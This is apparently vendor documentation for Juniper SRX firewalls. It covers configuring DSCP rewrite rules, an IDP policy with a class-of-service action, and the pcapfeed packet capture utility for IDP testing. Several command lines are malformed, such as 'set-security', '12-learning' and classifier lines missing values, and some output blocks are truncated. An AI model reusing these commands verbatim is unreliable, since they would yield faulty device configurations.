You can configure rewrite rules to replace CoS values on packets received from the customer or host with the values expected by other devices. You do not have to configure rewrite rules if the received packets already contain valid CoS values. Rewrite rules apply the forwarding class information and packet loss priority used internally by the device to establish the CoS value on outbound packets. After you configure rewrite rules, you must apply them to the correct interfaces.

In this example, you configure the rewrite rule for DiffServ CoS as rewrite-dscps. You specify the best-effort forwarding class as be-class, expedited forwarding class as ef-class, an assured forwarding class as af-class, and a network control class as nc-class. Finally, you apply the rewrite rule to an IRB interface.

You can apply one rewrite rule to each logical interface.

Table 82 on page 420 shows how the rewrite rules replace the DSCPs on packets in the four forwarding classes.

Table 82: Sample rewrite-dscps Rewrite Rules to Replace DSCPs

mf-classifier Forwarding Class	For CoS Traffic Type	rewrite-dscps Rewrite Rules
be-class	Best-effort traffic—Provides no special CoS handling of packets. Typically, RED drop profile is aggressive and no loss priority is defined.	Low-priority code point: 000000 High-priority code point: 000001
ef-class	Expedited forwarding traffic—Provides low loss, low delay, low jitter, assured bandwidth, and end-to-end service. Packets can be forwarded out of sequence or dropped.	Low-priority code point: 101110 High-priority code point: 101111
af-class	Assured forwarding traffic—Provides high assurance for packets within the specified service profile. Excess packets are dropped.	Low-priority code point: 001010 High-priority code point: 001100
nc-class	Network control traffic—Packets can be delayed, but not dropped.	Low-priority code point: 110000 High-priority code point: 110001

Forwarding classes can be configured in a DSCP rewriter and also as an action of an IDP policy to rewrite DSCP code points. To ensure that the forwarding class is used as an action in an IDP policy, it is important that you do not configure an IDP policy and interface-based rewrite rules with the same forwarding class.

Configuration

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Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from the configuration mode.

```
set class-of-service rewrite-rules dscp rewrite-dscps forwarding-class be-class loss-priority
low code-point 000000
set class-of-service rewrite-rules dscp rewrite-dscps forwarding-class be-class loss-priority
high code-point 000001
set class-of-service rewrite-rules dscp rewrite-dscps forwarding-class ef-class loss-priority
low code-point 101110
set class-of-service rewrite-rules dscp rewrite-dscps forwarding-class ef-class loss-priority
high code-point 101111
set class-of-service rewrite-rules dscp rewrite-dscps forwarding-class af-class loss-priority
low code-point 001010
set class-of-service rewrite-rules dscp rewrite-dscps forwarding-class af-class loss-priority
high code-point 001100
set class-of-service rewrite-rules dscp rewrite-dscps forwarding-class nc-class loss-priority
low code-point 110000
set class-of-service rewrite-rules dscp rewrite-dscps forwarding-class nc-class loss-priority
high code-point 110001
set class-of-service interfaces irb unit 0 rewrite-rules dscp rewrite-dscps
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To configure and apply rewrite rules for a device:

1. Configure rewrite rules for DiffServ CoS.

```
[edit]
user@host# edit class-of-service
user@host# edit rewrite-rules dscp rewrite-dscps
```

2. Configure best-effort forwarding class rewrite rules.

```
[edit class-of-service rewrite-rules dscp rewrite-dscps]
user@host# set forwarding-class be-class loss-priority low code-point 000000
user@host# set forwarding-class be-class loss-priority high code-point 000001
```

3. Configure expedited forwarding class rewrite rules.

```
[edit class-of-service rewrite-rules dscp rewrite-dscps]
user@host# set forwarding-class ef-class loss-priority low code-point 101110
user@host# set forwarding-class ef-class loss-priority high code-point 101111
```

4. Configure assured forwarding class rewrite rules.

```
[edit class-of-service rewrite-rules dscp rewrite-dscps]
user@host# set forwarding-class af-class loss-priority low code-point 001010
user@host# set forwarding-class af-class loss-priority high code-point 001100
```

5. Configure network control class rewrite rules.

```
[edit class-of-service rewrite-rules dscp rewrite-dscps]
user@host# set forwarding-class nc-class loss-priority low code-point 110000
user@host# set forwarding-class nc-class loss-priority high code-point 110001
```

6. Apply rewrite rules to an IRB interface.

```
[edit class-of-service]
user@host# set interfaces irb unit 0 rewrite-rules dscp rewrite-dscps
```

Results

From configuration mode, confirm your configuration by entering the show class-of-service command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
    user@host# show class-of-service
    interfaces {
        irb {
            unit 0 {
            rewrite-rules {
            dscp rewrite-dscps;
               }
            }
        }
    }
    rewrite-rules {
        dscp rewrite-dscps {
        forwarding-class be-class {
        loss-priority low code-point 000000;
            loss-priority high code-point 000001;
            }
            forwarding-class ef-class {
                loss-priority low code-point 101110;
            loss-priority high code-point 101111;
        forwarding-class af-class {
            loss-priority low code-point 001010;
        loss-priority high code-point 001100;
    }
    forwarding-class nc-class {
        loss-priority low code-point 110000;
        loss-priority high code-point 110001;
    }
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify Rewrite Rules Configuration | 424

Verify Rewrite Rules Configuration

Purpose

Verify that rewrite rules are configured properly.

Action

From operational mode, enter the show class-of-service interface irb command.

```
user@host> show class-of-service interface irb
```

Physical interface: irb, Index: 130

Maximum usable queues: 8, Queues in use: 4

Scheduler map: <default> , Index: 2 Congestion-notification: Disabled

Logical interface: irb.10, Index: 71

Object Name Type Index
Rewrite-Output rewrite-dscps dscp 17599
Classifier ipprec-compatibility ip 13

Meaning

Rewrite rules are configured on IRB interface as expected.

SEE ALSO

Rewrite Rules Overview

Example: Apply the CoS Action in an IDP Policy

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- Overview | 425
- Configuration | 426
- Verification | 433

As packets enter or exit a network, devices might be required to alter the CoS settings of the packet. Rewrite rules set the value of the CoS bits within the packet's header. In addition, you often need to rewrite a given marker (for example, DSCP) at the inbound interfaces of a device to accommodate BA classification by core devices.

On SRX Series Firewalls, DSCP values of IP packets can be rewritten by the following two software modules:

- DSCP rewriter at an egress interface
- IDP module according to IDP policies

This example describes how to create an IDP policy that defines a forwarding class as an action item to rewrite the DSCP value of a packet.

Requirements

Before you begin, review the CoS components.

Overview

This example shows how you can rewrite DSCP values with the IDP module and bypass the interface-based rewriter. When you create an IDP policy to rewrite DSCP values, you must specify the following:

- Configure separate forwarding classes for the IDP module and the interface-based rewriters. In this
 example, eight forwarding classes, fc1 through fc8, are configured. Out of these eight forwarding
 classes, four classes, fc1 through fc4, are assigned to interface-based rewriters; the other four, fc5
 through fc8, are assigned to the IDP module. These eight forwarding classes are mapped to four
 priority queues, queue 0 through queue 3.
- Configure the DSCP rewriter (rw_dscp) with forwarding classes, fc1 through fc4.

- Configure a DSCP classifier (c1) with the same forwarding classes as the DSCP rewriter. Essentially the classifier provides inputs, forwarding classes, and loss priorities to the rewriter.
- Apply the DSCP rewriter, rw_dscp, to a logical interface, ge-0/0/5.
- Apply the classifier, c1, to an ingress logical interface, ge-0/0/6.
- Create a new IDP policy (cos-policy) and assign class-of-service forwarding-class fc5 as the action.

To ensure DSCP rewriting by IDP, it is important that you do not configure an IDP policy and interface-based DSCP rewrite rules with the same forwarding class.

Configuration

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Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set class-of-service forwarding-classes queue 0 fc1
set class-of-service forwarding-classes queue 1 fc2
set class-of-service forwarding-classes queue 2 fc3
set class-of-service forwarding-classes queue 3 fc4
set class-of-service forwarding-classes queue 0 fc5
set class-of-service forwarding-classes queue 1 fc6
set class-of-service forwarding-classes queue 2 fc7
set class-of-service forwarding-classes queue 3 fc8
set class-of-service rewrite-rules dscp rw_dscp
set class-of-service rewrite-rules dscp rw_dscp forwarding-class fc1 loss-priority low code-
point 000000
set class-of-service rewrite-rules dscp rw_dscp forwarding-class fc2 loss-priority low code-
point 001000
set class-of-service rewrite-rules dscp rw_dscp forwarding-class fc3 loss-priority low code-
```

```
point 010000
set class-of-service rewrite-rules dscp rw_dscp forwarding-class fc4 loss-priority low code-
point 011000
set class-of-service classifiers dscp c1 forwarding-class fc1 loss-priority low code-points
set class-of-service classifiers dscp c1 forwarding-class fc2 loss-priority low code-points
110000
set class-of-service classifiers dscp c1 forwarding-class fc3 loss-priority low code-points
100000
set class-of-service classifiers dscp c1 forwarding-class fc4 loss-priority low code-points
set class-of-service interfaces ge-0/0/5 unit 0 rewrite-rules dscp rw_dscp
set class-of-service interfaces ge-0/0/6 unit 0 classifiers dscp c1
set security idp idp-policy cos-policy
set security idp idp-policy cos-policy rulebase-ips
set-security idp idp-policy cos-policy rulebase-ips rule r1
set-security idp idp-policy cos-policy rulebase-ips rule r1 match from-zone any to-zone any
application default
set-security idp idp-policy cos-policy rulebase-ips rule r1 match attacks predefined-attack-
groups 'P2P - All'
set security idp idp-policy cos-policy rulebase-ips rule r1 then action class-of-service
forwarding-class fc5
set security idp idp-policy cos-policy rulebase-ips rule r1 then action class-of-service dscp-
code-point 62
set security idp idp-policy cos-policy rulebase-ips rule r1 then notification log-attacks
set security idp idp-policy cos-policy rulebase-ips rule r1 then severity critical
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To configure an IDP policy that uses a forwarding class as a notification action for DSCP rewriting, perform the following tasks:

1. Configure forwarding classes.

To configure a one-to-one mapping between the eight forwarding classes and the four priority queues, include the following statements at the [edit class-of-service] hierarchy level:

```
[edit class-of-service]
user@host# set forwarding-classes fc1 queue-num 0
```

```
user@host# set forwarding-classes fc2 queue-num 1
user@host# set forwarding-classes fc3 queue-num 2
user@host# set forwarding-classes fc4 queue-num 3
user@host# set forwarding-classes fc5 queue-num 0
user@host# set forwarding-classes fc6 queue-num 1
user@host# set forwarding-classes fc7 queue-num 2
user@host# set forwarding-classes fc8 queue-num 3
```

2. Configure a DSCP rewriter with forwarding classes.

```
[edit class-of-service]
user@host# set rewrite-rules dscp rw_dscp forwarding-class fc1 loss-priority low code-point
000000
user@host# set rewrite-rules dscp rw_dscp forwarding-class fc2 loss-priority low code-point
001000
user@host# set rewrite-rules dscp rw_dscp forwarding-class fc3 loss-priority low code-point
010000
user@host# set rewrite-rules dscp rw_dscp forwarding-class fc4 loss-priority low code-point
011000
```

3. Configure a BA classifier with the same forwarding classes as the DSCP rewriter.

```
[edit class-of-service]
user@host# set classifiers dscp c1 forwarding-class fc1 loss-priority low code-points 111111
user@host# set classifiers dscp c1 forwarding-class fc2 loss-priority low code-points 110000
user@host# set classifiers dscp c1 forwarding-class fc3 loss-priority low code-points 100000
user@host# set classifiers dscp c1 forwarding-class fc4 loss-priority low code-points 000000
```

4. Apply the rewriter to a logical interface.

```
[edit class-of-service]
user@host# set interfaces ge-0/0/5 unit 0 rewrite-rules dscp rw_dscp
```

5. Apply the classifier to a logical interface.

```
[edit class-of-service]
user@host# set interfaces ge-0/0/6 unit 0 classifiers dscp c1
```

6. Configure the IDP policy with the action of forwarding class.

The following steps show how an IDP policy includes a class-of-service forwarding class as one of the actions. In policy *cos-policy*, forwarding class fc5 is defined as an action in conjunction with the action of dscp-code-point 62, which requires the IDP module to rewrite DSCP values to 62. Taking actions of R1, the IDP module conducts the security flow module to rewrite the packets' DSCP values as 62 and set their forwarding classes as fc5.

To set a forwarding class as one of the actions in an IDP policy, perform the following tasks:

Step-by-Step Procedure

a. Create a policy by assigning a meaningful name to it.

```
[edit ]
user@host# edit security idp idp-policy cos-policy
```

b. Associate a rulebase with the policy.

```
[edit security idp idp-policy cos-policy ]
user@host# edit rulebase-ips
```

c. Add rules to the rulebase.

```
[edit security idp idp-policy cos-policy rulebase-ips]
user@host# edit rule R1
```

d. Define the match criteria for the rule.

```
[edit security idp idp-policy cos-policy rulebase-ips rule R1]
user@host# set match from-zone any to-zone any application default
```

e. Define an attack as match criteria.

```
[edit security idp idp-policy cos-policy rulebase-ips rule R1]
user@host# set match attacks predefined-attack-groups 'P2P - All'
```

f. Specify forwarding class as an action for the rule.

```
[edit security idp idp-policy cos-policy rulebase-ips rule R1]
user@host# set then action class-of-service forwarding-class fc5
```

g. Specify dscp-code-point as an action for the rule.

```
[edit security idp idp-policy cos-policy rulebase-ips rule R1]
user@host# set then action class-of-service dscp-code-point 62
```

h. Specify notification and logging options for the rule.

```
[edit security idp idp-policy cos-policy rulebase-ips rule R1]
user@host# set then notification log-attacks alert
```

i. Set the severity level for the rule.

```
[edit security idp idp-policy cos-policy rulebase-ips rule R1]
user@host# set then severity critical
```

j. Activate the policy.

```
[edit]
user@host# set security idp active-policy cos-policy
```

Results

From configuration mode, confirm your configuration by entering the show security idp and show class-of-service commands. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
idp-policy cos-policy {
   rulebase-ips {
     rule R1 {
```

```
match {
                from-zone any;
                to-zone any;
                application default;
                attacks {
                    predefined-attack-groups P2P - All;
                }
            }
            then {
                action {
                    class-of-service {
                        forwarding-class fc5;
                        dscp-code-point 62;
                    }
                }
                notification {
                    log-attacks {
                        alert;
                    }
                }
                severity critical;
            }
        }
   }
}
active-policy cos-policy;
```

```
[edit]
user@host# show class-of-service

classifiers {
    dscp c1 {
        forwarding-class fc1 {
            loss-priority low code-points 111111;
        }
        forwarding-class fc2 {
            loss-priority low code-points 110000;
        }
        forwarding-class fc3 {
            loss-priority low code-points 100000;
        }
        forwarding-class fc4 {
```

```
loss-priority low code-points 000000;
        }
    }
}
    forwarding-classes {
        queue 0 fc5;
        queue 1 fc6;
        queue 2 fc7;
        queue 3 fc8;
    }
    interfaces {
        ge-0/0/5 {
            unit 0 {
                rewrite-rules {
                    dscp rw_dscp;
                }
            }
        }
        ge-0/0/6 {
            unit 0 {
                classifiers {
                    dscp c1;
                }
            }
        }
    }
    rewrite-rules {
        dscp rw_dscp {
            forwarding-class fc1 {
                loss-priority low code-point 000000;
            }
            forwarding-class fc2 {
                loss-priority low code-point 001000;
            }
            forwarding-class fc3 {
                loss-priority low code-point 010000;
            }
            forwarding-class fc4 {
                loss-priority low code-point 011000;
            }
        }
    }
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

- Verify IDP Policy Configuration | 433
- Verify CoS Configuration | 433

To confirm that the configuration is working properly, perform these tasks:

Verify IDP Policy Configuration

Purpose

Verify that the forwarding class fc5 is configured as an action in the IDP policy.

Action

From operational mode, enter the show security idp idp-policy cos-policy command.

Verify CoS Configuration

Purpose

Verify if the one-to-one mapping between the eight forwarding classes and the four priority queues, application of the BA classifier to the interfaces, and the rewrite rule are working.

Action

From operational mode, enter the show class-of-service command.

SEE ALSO

Understand IDP Policy Rules | 67

Platform-Specific Class of Service Action Behavior

Use Feature Explorer to confirm platform and release support for specific features.

Use the following table to review platform-specific behaviors for your platform.

Platform	Difference
SRX Series Firewalls	SRX1500, SRX3400, SRX3600, SRX5600, and SRX5800 Series Firewalls that support CoS actions—allow rewriting of DSCP values in IP packets using the following two software modules: DSCP rewriter at an egress interface IDP module based on IDP policies

Platform-Specific Rewrite Rules Behavior

Use Feature Explorer to confirm platform and release support for specific features.

Use the following table to review platform-specific behaviors for your platform.

Platform	Difference
SRX Series Firewalls	SRX5600 and SRX5800 Series Firewalls that support rewrite rules, allow configuration of up to 32 IEEE 802.1p rewrite rules on each SRX5K Modular Port Concentrator (MPC).

Change History Table

Feature support is determined by the platform and release you are using. Use Feature Explorer to determine if a feature is supported on your platform.

Release	Description
18.2R1	Starting in Junos OS Release 18.2R1, you can configure 802.1p rewrite on logical VDSL interface, that is, pt interface.

RELATED DOCUMENTATION

Understand IDP Policy | 43

IDP Policy Rules and IDP Rule Bases | 65

IDP Utility for Packet Capture

SUMMARY

The IDP utility for packet capture is a specialized tool on SRX Series Firewalls that captures, manages, and allows analysis of packet data related to IDP events.

IN THIS SECTION

- Packet Capture | 435
- Example: Configure Packet Capture
 Feeder | 438
- Example: Configure Packet Capture Feeder in Transparent Mode | 444
- Platform-Specific Packet Capture
 Behavior | 452

The packet capture utility is used to analyze packet capture files that record network traffic. The IDP Utility allows network administrators to examine these packet capture files to identify potential security threats or anomalies within network traffic.

Use Feature Explorer to confirm platform and release support for specific features.

Review the "Platform-Specific Packet Capture Behavior" on page 452 section for notes related to your platform.

Packet Capture

Packet capture in IDP on Juniper Networks SRX Series Firewalls is a feature that captures and analyzes network traffic to detect and prevent security threats.

The CLI support is provided to display and clear contexts and the associated data only for the packet capture traffic, which improves the IDP validation process.

You can run the packet capture utility in either inet mode or transparent mode to generate protocol contexts. You should run the command line packet capture feeder utility tool from the UNIX shell prompt (%).

A packet capture feeder utility uses a pair of source and destination IPv4 addresses available in the traffic interfaces where the packets are to be fed. The packet capture feeder utility also uses the IPV4 addresses configured for the interfaces through which these PCAPs are injected.

Once the PCAPs are fed to these interfaces, a list of contexts associated with the PCAPs and the data are matched for the context. The context, hits, and associated data will be displayed only for traffic that is generated by the packet capture feeder. Live traffic statistics will not be captured. While feeding packets, make sure to feed the packets to the subnet IP of the interface. If you feed packets to the interface IP, IDP security processing might not detect the contexts. You can use all other subnet IP addresses, except for the interface IP.

Before you run new PCAPs through packet capture feeder utility tool, clear the existing contexts and data by using the following clear contexts commands:

```
[edit security]
user@host> clear security idp attack context
user@host> clear security flow session interface <intf1>
user@host> clear security flow session interface <intf2>
user@host> clear security flow session idp
user@host> clear security idp attack table
```

Sample command used for Inet mode packet capture feeder:

```
% pcapfeed -verbose --interface-ip1 5.0.0.13 --interface-ip2 15.0.0.14 --pcap-ip1 6.0.0.1 --pcap-ip2 7.0.0.1 --interface1 ge-0/0/6 --interface2 ge-0/0/7 --pcap /var/tmp/http.pcap
```

Or

```
% pcapfeed -quiet --interface-ip1 5.0.0.13 --interface-ip2 15.0.0.14 --pcap-ip1 6.0.0.1 --pcap-ip2 7.0.0.1 --interface1 ge-0/0/6 --interface2 ge-0/0/7 --pcap /var/tmp/http.pcap
```

Sample command used for transparent mode packet capture feeder:

```
% pcapfeed -verbose -transparent --pcap-ip1 6.0.0.1 --pcap-ip2 7.0.0.1 --interface1 ge-0/0/6 --interface2 ge-0/0/7 --pcap /var/tmp/http.pcap
```

Or

```
% pcapfeed -quiet -transparent --pcap-ip1 6.0.0.1 --pcap-ip2 7.0.0.1 --interface1 ge-0/0/6 --interface2 ge-0/0/7 --pcap /var/tmp/http.pcap
```

Table 83 on page 437 defines the PCAP feeder tool fields from the above provided sample outputs.

Table 83:

Fields	Description
pcapquiet	Suppresses logs from appearing in the console
pcapverbose	Enables logs to appear in the console
interface-ip1	IP address of the first interface for feeding packet capture packets
interface-ip2	IP address of the other interface for feeding packet capture packets
pcap-ip1	IP address seen in the packet capture
pcap-ip2	Another IP address seen in the packet capture
interface1	Interface 1 in SRX Series Firewall
interface2	Interface 1 in SRX Series Firewall

Packet capture feeder does not support:

- IPv6
- Multiple channel protocols such as FTP

Example: Configure Packet Capture Feeder

IN THIS SECTION

- Requirements | 438
- Overview | 438
- Configuration | 438
- Verification | 443

This example explains how to run the packet capture (PCAP) feeder in inet mode to generate protocol contexts.

Requirements

Before you begin:

• Configure network interfaces.

Overview

To run the PCAP feeder with a relevant IDP policy to get the associated protocol contexts. In this example, PCAPs are fed using pcap-ip1 6.0.0.1 and pcap-ip2 7.0.0.1 in quiet mode.

Configuration

IN THIS SECTION

Procedure | 439

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp idp-policy idppolicy rulebase-ips rule 1 match from-zone any
set security idp idp-policy idppolicy rulebase-ips rule 1 match source-address any
set security idp idp-policy idppolicy rulebase-ips rule 1 match to-zone any
set security idp idp-policy idppolicy rulebase-ips rule 1 match destination-address any
set security idp idp-policy idppolicy rulebase-ips rule 1 match application default
set security idp idp-policy idppolicy rulebase-ips rule 1 match attacks predefined-attack-groups
"HTTP - All"
set security idp idp-policy idppolicy rulebase-ips rule 1 then action close-client-and-server
set security idp idp-policy idppolicy rulebase-ips rule 1 then notification log-attacks
set security forwarding-options family inet6 mode flow-based
set security policies from-zone trust to-zone untrust policy 1 match source-address any
set security policies from-zone trust to-zone untrust policy 1 match destination-address any
set security policies from-zone trust to-zone untrust policy 1 match application any
set security policies from-zone trust to-zone untrust policy 1 then permit application-services
idp-policy idppolicy
set security policies from-zone untrust to-zone trust policy 1 match source-address any
set security policies from-zone untrust to-zone trust policy 1 match destination-address any
set security policies from-zone untrust to-zone trust policy 1 match application any
set security policies from-zone untrust to-zone trust policy 1 then permit application-services
idp-policy idppolicy
set security zones security-zone untrust host-inbound-traffic system-services all
set security zones security-zone untrust host-inbound-traffic protocols all
set security zones security-zone untrust interfaces ge-0/0/0.0
set security zones security-zone untrust application-tracking
set security zones security-zone trust host-inbound-traffic system-services all
set security zones security-zone trust host-inbound-traffic protocols all
set security zones security-zone trust interfaces ge-0/0/2.0
set interfaces ge-0/0/0 unit 0 family inet address 10.0.0.15/24
set interfaces ge-0/0/2 unit 0 family inet address 10.0.0.16/24
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To create an application and associate it with an IDP policy:

1. Create a policy by assigning a meaningful name to it, associate a rulebase with the policy, add rules to the rulebase, and define match criteria for the rule.

```
[edit security]

user@host#set idp idp-policy idppolicy rulebase-ips rule 1 match from-zone any

user@host#set idp idp-policy idppolicy rulebase-ips rule 1 match source-address any

user@host#set idp idp-policy idppolicy rulebase-ips rule 1 match to-zone any

user@host#set idp idp-policy idppolicy rulebase-ips rule 1 match destination-address any

user@host#set idp idp-policy idppolicy rulebase-ips rule 1 match application default

user@host#set idp idp-policy idppolicy rulebase-ips rule 1 match attacks predefined-attack-

groups "HTTP - All"

user@host#set idp idp-policy idppolicy rulebase-ips rule 1 then action close-client-and-server

user@host#set idp idp-policy idppolicy rulebase-ips rule 1 then notification log-attacks

user@host#set forwarding-options family inet6 mode flow-based
```

2. Configure policies.

```
[edit security]
user@host#set policies from-zone trust to-zone untrust policy 1 match source-address any
user@host#set policies from-zone trust to-zone untrust policy 1 match destination-address any
user@host#set policies from-zone trust to-zone untrust policy 1 match application any
user@host#set policies from-zone trust to-zone untrust policy 1 then permit application-
services idp-policy idppolicy
user@host#set policies from-zone untrust to-zone trust policy 1 match source-address any
user@host#set policies from-zone untrust to-zone trust policy 1 match destination-address any
user@host#set policies from-zone untrust to-zone trust policy 1 match application any
user@host#set policies from-zone untrust to-zone trust policy 1 then permit application-
services idp-policy idppolicy
```

3. Configure zones and assign interfaces.

```
[edit security]
user@host# set zones security-zone untrust host-inbound-traffic system-services all
user@host# set zones security-zone untrust host-inbound-traffic protocols all
```

```
user@host# set zones security-zone untrust interfaces ge-0/0/0.0
user@host# set zones security-zone untrust application-tracking
user@host# set zones security-zone trust host-inbound-traffic system-services all
user@host# set zones security-zone trust host-inbound-traffic protocols all
user@host# set zones security-zone trust interfaces ge-0/0/2.0
```

4. Configure forwarding interfaces.

```
[edit]
user@host# set interfaces ge-0/0/0 unit 0 family inet address 10.0.0.15/24
user@host# set interfaces ge-0/0/2 unit 0 family inet address 10.0.0.16/24
```

Results

From configuration mode, confirm your configuration by entering the show security idp and show applications commands. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
idp-policy idppolicy {
    rulebase-ips {
        rule 1 {
            match {
                from-zone any;
                source-address any;
                to-zone any;
                destination-address any;
                application default;
            }
            then {
                action {
                    close-client-and-server;
                }
                notification {
                    log-attacks;
                }
            }
```

```
}
```

```
[edit]
user@host# show security policies
from-zone trust to-zone untrust {
policy 1 {
    match {
        source-address any;
        destination-address any;
        application any;
    }
    then {
        permit {
            application-services {
                idp-policy idppolicy;
            }
        }
   }
}
```

```
[edit]
user@host# show security zones
security-zone untrust {
   host-inbound-traffic {
      system-services {
        all;
      }
      protocols {
        all;
      }
    }
   interfaces {
      ge-0/0/0.0;
   }
```

```
application-tracking;
}
```

```
[edit]
user@host# show interfaces
ge-0/0/0 {
    unit 0 {
        family inet {
            address 10.0.0.15/24;
        }
    }
}
ge-0/0/2 {
    unit 0 {
        family inet {
            address 10.0.0.16/24;
        }
    }
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the Configuration | 443

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify the IDP attack context after you run the PCAPs using the PCAP feeder tool.

Action

From operational mode, enter the show security idp attack context command.

Sample Output

```
user@host> show security idp attack context
IDP context statistics:
 Context name
                                               #Hits
                                                            #Data
 http-url
                                                             /
 http-get-url
                                                             /
 http-header-host
                                                             7.0.0.1
 http-header-user-agent
                                                             lwp-request/5.827 libwww-perl/5.833
 http-header
                                                             te: deflate,gzip;q=0.3 &&
connection: TE, close
                                               1
 http-request
                                                             GET / HTTP/1.1
 http-request-method
                                                             GET / HTTP/1.1
```

Example: Configure Packet Capture Feeder in Transparent Mode

IN THIS SECTION

- Requirements | 444
- Overview | 445
- Configuration | 445
- Verification | 451

This example explains how to run the packet capture (PCAP) feeder in transparent mode to generate protocol contexts.

Requirements

Before you begin:

• Configure network interfaces.

Overview

To run a PCAP feeder with a relevant IDP policy to get the associated protocol contexts out of the packets which are running from the packet capture. In this example, PCAP feeder pcap-ip 2 7.0.0.1 is used in quiet mode to feed the packets.

Configuration

IN THIS SECTION

• Procedure | 445

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set groups global protocols 12-learning global-mode transparent-bridge
set security idp idp-policy idppolicy rulebase-ips rule 1 match from-zone any
set security idp idp-policy idppolicy rulebase-ips rule 1 match source-address any
set security idp idp-policy idppolicy rulebase-ips rule 1 match to-zone any
set security idp idp-policy idppolicy rulebase-ips rule 1 match destination-address any
set security idp idp-policy idppolicy rulebase-ips rule 1 match application default
set security idp idp-policy idppolicy rulebase-ips rule 1 match attacks predefined-attack-groups
"HTTP - All"
set security idp idp-policy idppolicy rulebase-ips rule 1 then action close-client-and-server
set security idp idp-policy idppolicy rulebase-ips rule 1 then notification log-attacks
set security policies from-zone trust to-zone untrust policy 1 match source-address any
set security policies from-zone trust to-zone untrust policy 1 match destination-address any
set security policies from-zone trust to-zone untrust policy 1 match application any
set security policies from-zone trust to-zone untrust policy 1 then permit application-services
idp-policy idppolicy
set security policies from-zone untrust to-zone trust policy 1 match source-address any
set security policies from-zone untrust to-zone trust policy 1 match destination-address any
set security policies from-zone untrust to-zone trust policy 1 match application any
set security policies from-zone untrust to-zone trust policy 1 then permit application-services
```

```
idp-policy idppolicy
set security zones security-zone untrust host-inbound-traffic system-services all
set security zones security-zone untrust host-inbound-traffic protocols all
set security zones security-zone untrust interfaces ge-0/0/0.0
set security zones security-zone untrust application-tracking
set security zones security-zone trust host-inbound-traffic system-services all
set security zones security-zone trust host-inbound-traffic protocols all
set security zones security-zone trust interfaces ge-0/0/2.0
set interfaces ge-0/0/0 unit 0 family ethernet-switching interface-mode access
set interfaces ge-0/0/2 unit 0 family ethernet-switching vlan members 301
set interfaces ge-0/0/2 unit 0 family ethernet-switching vlan members 301
set interfaces in unit 301 family inet address 10.1.1.11/8
set vlans bd-vlan-301 vlan-id 301
set vlans bd-vlan-301 l3-interface irb.301
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To create an application and associate it with an IDP policy:

1. Set the configuration group.

```
[edit] user@host#set groups global protocols 12-learning global-mode transparent-bridge
```

2. Create a policy by assigning a meaningful name to it, associate a rulebase with the policy, add rules to the rulebase, and define match criteria for the rule.

```
[edit security]
user@host# set idp idp-policy idppolicy rulebase-ips rule 1 match from-zone any
user@host# set idp idp-policy idppolicy rulebase-ips rule 1 match source-address any
user@host# set idp idp-policy idppolicy rulebase-ips rule 1 match to-zone any
user@host# set idp idp-policy idppolicy rulebase-ips rule 1 match destination-address any
user@host# set idp idp-policy idppolicy rulebase-ips rule 1 match application default
user@host# set idp idp-policy idppolicy rulebase-ips rule 1 match attacks predefined-attack-
groups "HTTP - All"
user@host# set idp idp-policy idppolicy rulebase-ips rule 1 then action close-client-and-
server
```

user@host# set idp idp-policy idppolicy rulebase-ips rule 1 then notification log-attacks user@host# set forwarding-options family inet6 mode flow-based

3. Configure policies.

```
[edit security]

user@host# set policies from-zone trust to-zone untrust policy 1 match source-address any user@host# set policies from-zone trust to-zone untrust policy 1 match destination-address any user@host# set policies from-zone trust to-zone untrust policy 1 match application any user@host# set policies from-zone trust to-zone untrust policy 1 then permit application-services idp-policy idppolicy user@host# set policies from-zone untrust to-zone trust policy 1 match source-address any user@host# set policies from-zone untrust to-zone trust policy 1 match destination-address any user@host# set policies from-zone untrust to-zone trust policy 1 match application any user@host# set policies from-zone untrust to-zone trust policy 1 then permit application-services idp-policy idppolicy
```

4. Configure zones and assign interfaces.

```
[edit security]

user@host# set zones security-zone untrust host-inbound-traffic system-services all

user@host# set zones security-zone untrust host-inbound-traffic protocols all

user@host# set zones security-zone untrust interfaces ge-0/0/0.0

user@host# set zones security-zone untrust application-tracking

user@host# set zones security-zone trust host-inbound-traffic system-services all

user@host# set zones security-zone trust host-inbound-traffic protocols all

user@host# set zones security-zone trust interfaces ge-0/0/2.0
```

5. Configure forwarding interfaces.

```
[edit]
user@host# set interfaces ge-0/0/0 unit 0 family ethernet-switching interface-mode access
user@host# set interfaces ge-0/0/0 unit 0 family ethernet-switching vlan members 301
user@host# set interfaces ge-0/0/2 unit 0 family ethernet-switching interface-mode access
user@host# set interfaces ge-0/0/2 unit 0 family ethernet-switching vlan members 301
user@host# set interfaces irb unit 301 family inet address 10.1.1.11/8
```

6. Configure VLAN-ID.

```
[edit]
user@host# set vlans bd-vlan-301 vlan-id 301
